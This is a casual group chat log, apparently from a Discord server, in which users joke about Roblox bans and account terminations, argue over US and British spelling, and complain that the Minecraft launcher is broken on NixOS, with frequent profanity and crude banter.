hiii 🥺 hands u a cute brick I found..

[light cedar]

eats it

[signal rose]

Literally me

[warm zenith]

dude

[fickle cosmos]

chucks it at your skull oh my bad

[light cedar]

@clay

[signal rose]

@clay ball

[fallow pawn]

clay ball

[fickle cosmos]

Ball of clay*

[mellow totem]

clay

[warm zenith]

sphere clay

[mellow totem]

my friend said hed play mc with me then went online

[fickle cosmos]

Circular object resembling clay

[signal rose]

Not a circle

[fickle cosmos]

What is it then

[signal rose]

More like lump

[warm zenith]

:ner

[rapid aurora]

OH NO I GOT BANNED ON ROBLOX AGAIN

[fickle cosmos]

d:

[light cedar]

how

[fickle cosmos]

My Roblox account got hacked

[warm zenith]

congratulations !!

[rapid aurora]

I said something

[fickle cosmos]

What did you say this time

[rapid aurora]

OMG THANK GOD IT'S ONLY 1 DAY

[fickle cosmos]

Was it in da hood again...

[jaunty stag]

no way..

[rapid aurora]

no no

mic up

[light cedar]

did you say a slur

[jaunty stag]

vencord users playing roblox..

[rapid aurora]

no never!

[warm zenith]

vencord official da hood private server

[light cedar]

hmmm

[light cedar]

lie

[fickle cosmos]

You totally would

[rapid aurora]

i only said to a girl that she's pregnant by her own sister

[warm zenith]

QHAT

[fickle cosmos]

💀

[warm zenith]

Zro...

Vro what the hell

[rapid aurora]

what's wrong with it

[warm zenith]

bro thats Not cool

[rapid aurora]

she told me to jump off I swear

[warm zenith]

oh ok

[rapid aurora]

:(

[warm zenith]

well you could've said "no you" or "ky

[jaunty stag]

da hood is another universe

[rapid aurora]

no I would never that!

:3

maybe

[warm zenith]

uh-huh

[rapid aurora]

OMG NO I DIDN'T GOT A 1 WARN WAIT IT'S LIKE 50 WARNS

😭

LEMME TAKE SS

[warm zenith]

vro is getting EXECUTED by roblox

[stone owl]

[rapid aurora]

I CAN'T STOP SCROLLING

[rapid aurora]

OMG

OMG 😭😭😭

[warm zenith]

LMAO

the roblox hit squad is coming for you

[stone owl]

XD

[warm zenith]

they probably hired the cruelty squad guy

[north tartan]

keep it coollll

[rapid aurora]

I'm surprised I got only 1 day ban

and not 7

or 30

enough Roblox for today

:(

[coral moth]

are cats real

[mellow totem]

this is why you dont use voice chat, anyone can false report you

[coral moth]

lol I'm account terminated on roblox

[rapid aurora]

how

[rapid aurora]

yea

[coral moth]

I uploaded a picture of a car like 5 times because the website was lagging back in the day and the system terminated my account, when I appealed they said the decision is final

this was like back in 2018

was trying to make a game ._.

[rapid aurora]

I got banned multiple times for sending femboys socks pants in roblox

it's somehow

sexual content

[mellow totem]

imagine getting terminated for uploading cars 💀

[coral moth]

literally a picture of a porsche 911 for my game's loading screen

[rapid aurora]

also did y'all know

[coral moth]

and this was before roblox was sensitive about copyright

[rapid aurora]

the word gay in roblox

[mellow totem]

so fucking stupid

[rapid aurora]

is bannable

[mellow totem]

yes ive had a bad experience wiht that

[rapid aurora]

like if you type "gay" whenever you are chatting
it turns ###

[coral moth]

yeah and their asset upload system is scuffed so 13 year old me kept uploading like 5 times before I got banned

[rapid aurora]

if you bypass gay you get warned

[coral moth]

my account was like 3 years old at the time with lots of activity, clearly not a bot

yet bots and creeps are on the platform freely

[lilac pewter]

Hey whats everyone up to

[rapid aurora]

and also why is roblox not supporting LGBTQ community this month

[atomic magnet]

#Button_Skip

[mellow totem]

nah I got banned for 7 days a while ago for saying
g@y
g_y
g__

[rapid aurora]

i remember calling someone with like a big avatar by "fat" and got banned

[coral moth]

well discussing your sexuality in a kid's game is sus in their defence lol

and I'd imagine a lot of christian moms wouldn't be giving their credit card to their kid if the logo was rainbow

[mellow totem]

do you know how to do single gpu passthrough

[warm zenith]

defence is the british spelling

[cold zodiac]

Hi

No

[rapid aurora]

ignore my scream I was just mad

[atomic magnet]

brawl stars

so 2022

[warm zenith]

WAHT

[coral moth]

defence and defense is gramatically the same word, like apologize or apologise

[dense phoenix]

my honest reaction

[cold zodiac]

Who are you

[warm zenith]

nevo is getting EXPELLED ⛈️ ⛈️ from roblox

[coral moth]

it is..

[dense phoenix]

they are?

[atomic magnet]

I'm gonna execute RobloxPlayer.exe

[rapid aurora]

ROCE

rice

[lilac pewter]

Hey whats everyone up to

[rapid aurora]

I want rice

[rapid aurora]

eating rice

10kg at least

[lilac pewter]

nice im trying to survive the day

[coral moth]

grey and gray is the same word.. 🥲

[rapid aurora]

gtk

[lilac pewter]

I woke up not feeling good

[warm zenith]

na

[atomic magnet]

yep

[warm zenith]

grey for teadrinkers and gray for leadeaters

[coral moth]

bullying me for spelling things differently

[unreal siren]

US english is the incorrect version

[lilac pewter]

so tired rn

[coral moth]

us english is technically adopted slang yeah

[atomic magnet]

is gray the US english version

[sudden fjord]

https://youtu.be/BN7lXsFSWRc?t=535

[atomic magnet]

(no clue)

[unreal siren]

Yup

[coral moth]

chat is this real chat

[odd wave]

hoyl shit. oholy shit

[warm zenith]

hello koishukaze how much is your therapy bill so far

[unreal siren]

Too much

[odd wave]

Is there peneiss in mine craft now

[crisp finch]

ok i need to make text dark bc i can't read this shit

[odd wave]

I can read it

[unreal siren]

Malwina’s issue was a breath of fresh air

[crisp finch]

wat?

[odd wave]

i think all of us have issues

[mellow totem]

i fucking love nixos I fucking cant play mc 1.21 because the minecraft launcher package is fucking broken

[unreal siren]

In support

[odd wave]

most of which can be solved with a hug

[crisp finch]

nope, just me being dumb

[odd wave]

okay vivziepop

[warm zenith]

nixos if it was written by vivziep

[unreal siren]

Yeah but it was a breath of fresh air compared to the pain I experienced

[odd wave]

sexos…

[keen junco]

https://www.resetera.com/threads/video-game-leaker-midori-admits-to-being-a-fake-persona-of-mysticdistance-will-stop-leaking-this-time-frfr.899991/

[warm zenith]

don't worry koishukaze i will make an alt and complain about the stupidest issues ever

[unreal siren]

I will eat you

[daring cloud]

nix run nixpkgs#prism-launcher

[warm zenith]

is that a compliment, a threat or a promise

[unreal siren]

All 3

[warm zenith]

crazy

[keen junco]

that's cannibalism

[crisp finch]

fuuuuuuuck

[mellow totem]

prism launcher isnt fucking updated for 1.21